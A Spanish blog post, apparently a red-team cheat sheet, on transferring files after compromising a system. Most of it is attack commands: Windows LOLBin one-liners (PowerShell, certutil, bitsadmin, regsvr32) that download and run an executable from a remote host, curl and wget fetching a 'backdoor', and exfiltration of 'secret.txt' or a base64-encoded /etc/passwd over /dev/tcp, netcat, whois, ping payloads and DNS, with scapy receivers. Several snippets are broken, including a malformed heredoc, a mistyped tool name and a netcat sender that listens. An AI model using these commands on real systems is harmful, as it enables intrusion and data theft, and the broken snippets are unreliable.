Técnicas para transferir archivos durante una post-explotación

Normalmente en cualquier ejercicio de red team cuando se consigue acceso a un sistema tendremos que ingeniárnoslas para subir distintos archivos, continuando así con el proceso de post-explotación.

Recientemente he visto un paper muy completo en Seebug del chino xax007 con un montón de técnicas que siempre conviene tener a mano:

Crear un servidor HTTP

Los siguientes comandos iniciarán el servicio HTTP en el directorio actual, en el puerto 1337.

python2:
python -m SimpleHTTPServer 1337

python3:
python -m http.server 1337

Ruby:
ruby -rwebrick -e'WEBrick::HTTPServer.new(:Port => 1337, :DocumentRoot => Dir.pwd).start'

Ruby 1.9.2+:
ruby -run -e httpd . -p 1337

Perl:
perl -MHTTP::Server::Brick -e '$s=HTTP::Server::Brick->new(port=>1337); $s->mount("/"=>{path=>"."}); $s->start'
perl -MIO::All -e 'io(":8080")->fork->accept->(sub { $_[0] < io(-x $1 +? "./$1 |" : $1) if /^GET \/(.*) / })'

PHP 5.4+:
php -S 0.0.0.0:1337

busybox httpd:
busybox httpd -f -p 8000

Descargar y ejecutar archivos desde el servidor HTTP

A continuación se muestran algunas maneras de descargar y ejecutar archivos desde un servidor HTTP utilizando las propias herramientas del sistema en sistemas Windows y Linux.

WINDOWS

powershell:
powershell (new-object System.Net.WebClient).DownloadFile('http://1.2.3.4/5.exe','c:\download\a.exe');start-process 'c:\download\a.exe'

Certutil:
certutil -urlcache -split -f http://1.2.3.4/5.exe c:\download\a.exe&&c:\download\a.exe

bitsadmin:
bitsadmin /transfer n http://1.2.3.4/5.exe c:\download\a.exe && c:\download\a.exe

Los siguientes comandos sólo descargarán el fichero indicado:

regsvr32:
regsvr32 /u /s /i:http://1.2.3.4/5.exe scrobj.dll

LINUX

Curl:
curl http://1.2.3.4/backdoor

Wget:
wget http://1.2.3.4/backdoor

awk:
awk 'BEGIN {
  RS = ORS = "\r\n"
  HTTPCon = "/inet/tcp/0/127.0.0.1/1337"
  print "GET /secret.txt HTTP/1.1\r\nConnection: close\r\n"    |& HTTPCon
  while (HTTPCon |& getline > 0)
      print $0
  close(HTTPCon)
}'

Usar un servidor HTTP con el método PUT

Con nginx:
mkdir -p /var/www/upload/ # crear dir
chown www-data:www-data /var/www/upload/ # cambiar permisos
cd /etc/nginx/sites-available # entrar al dir del virtual host de nginx

# escribir la config al fichero file_upload
cat < file_upload
server {
    listen 8001 default_server;
    server_name kali;
        location / {
        root /var/www/upload;
        dav_methods PUT;
    }
}
EOF
# escritura completada
cd ../sites-enable # ir al dir de inicio
ln -s /etc/nginx/sites-available/file_upload file_upload # activar file_upload
systemctl start nginx # iniciar Nginx 

Con Python:

Por ej. HTTPutServer.py:
# ref: https://www.snip2code.com/Snippet/905666/Python-HTTP-PUT-test-server
import sys
import signal
from threading import Thread
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler



class PUTHandler(BaseHTTPRequestHandler):
    def do_PUT(self):
        length = int(self.headers['Content-Length'])
        content = self.rfile.read(length)
        self.send_response(200)
        with open(self.path[1:], "w") as f:
            f.write(content)


def run_on(port):
    print("Starting a HTTP PUT Server on {0} port {1} (http://{0}:{1}) ...".format(sys.argv[1], port))
    server_address = (sys.argv[1], port)
    httpd = HTTPServer(server_address, PUTHandler)
    httpd.serve_forever()


if __name__ == "__main__":
    if len(sys.argv) < 3:
        print("Usage:\n\tpython {0} ip 1337".format(sys.argv[0]))
        sys.exit(1)
    ports = [int(arg) for arg in sys.argv[2:]]
    try:
        for port_number in ports:
            server = Thread(target=run_on, args=[port_number])
            server.daemon = True # Do not make us wait for you to exit
        server.start()
        signal.pause() # Wait for interrupt signal, e.g. KeyboardInterrupt
    except KeyboardInterrupt:
        print "\nPython HTTP PUT Server Stoped."
        sys.exit(1)

Modo de funcionamiento:
$ python HTTPutServer.py 10.10.10.100 1337
Starting a HTTP PUT Server on 10.10.10.100 port 1337 (http://10.10.10.100:1337) ...

Subir archivos al HTTP PUT Linux con Curl:
$ curl --upload-file secret.txt http://ip:port/

Con Wget:
$ wget --method=PUT --post-file=secret.txt http://ip:port/

Windows Powershell:
$body = Get-Content secret.txt
Invoke-RestMethod -Uri http://ip:port/secret.txt -Method PUT -Body $body

Transferencia de ficheros usando Bash /dev/tcp 

Primero necesitamos levantar un puerto en el equipo donde recibiremos el archivo:
nc -lvnp 1337 > secret.txt

Desde el equipo que envía:
cat secret.txt > /dev/tcp/ip/port

Transferencia de archivos usando el protocolo SMB 

Crear un servidor SMB simple Para configurar el servidor SMB necesitaremos usar Impacket: https://github.com/SecureAuthCorp/impacket.

Impacket está instalado por defecto en Kali Linux (smbserver.py).

Sintaxis: impacker-smbserver ShareName SharePath
Ejemplo: impacker-smbserver share `pwd`

Descargar archivos desde el servidor SMB:
copy \\IP\ShareName\file.exe file.exe

Subir archivos al servidor SMB:
net use x: \\IP\ShareName
copy file.txt x:
net use x: /delete

Transferencia de archivos usando el comando whois: 

Receptor Host B:
nc -vlnp 1337 | sed "s/ //g" | base64 -d

Envío desde Host A:
whois -h 127.0.0.1 -p 1337 `cat /etc/passwd | base64`

Transferencia de archivos usando el comando ping: 

Receptor Host B:
Guardar archivo ping_receiver.py
import sys

try:
    from scapy.all import *
except:
    print("Scapy not found, please install scapy: pip install scapy")
    sys.exit(0)


def process_packet(pkt):
    if pkt.haslayer(ICMP):
        if pkt[ICMP].type == 8:
            data = pkt[ICMP].load[-4:]
            print(f'{data.decode("utf-8")}', flush=True, end="", sep="")

sniff(iface="eth0", prn=process_packet)

Y ejecutarlo:
python3 ping_receiver.py

Envío desde host A:
xxd -p -c 4 secret.txt | while read line; do ping -c 1 -p $line ip; done

Transferencia de archivos usando el comando dig: 

Receptor Host B:

El siguiente código utiliza los módulos scapy de Python, es necesario instalarlos manualmente.

Hay que guardar el código en dns_receiver.py:
try:
    from scapy.all import *
except:
    print("Scapy not found, please install scapy: pip install scapy")

def process_packet(pkt):
    if pkt.haslayer(DNS):
        domain = pkt[DNS][DNSQR].qname.decode('utf-8')
        root_domain = domain.split('.')[1]
        if root_domain.startswith('gooogle'):
            print(f'{bytearray.fromhex(domain[:-13]).decode("utf-8")}', flush=True, end='')

sniff(iface="eth0", prn=process_packet)

Y ejecutarlo:
python3 dns_receiver.py

Transferencia de archivos usando netcat: 

Receptor:
nc -l -p 1337 > 1.txt

Enviador:
cat 1.txt | nc -l -p 1337

o
nc 10.10.10.200 1337 < 1.txt

En algunos entornos en los que no hay nc se puede usar Bash's /dev/tcp para recibir el fichero:
cat < /dev/tcp/10.10.10.200/1337 > 1.txt

0 comentarios :

Publicar un comentario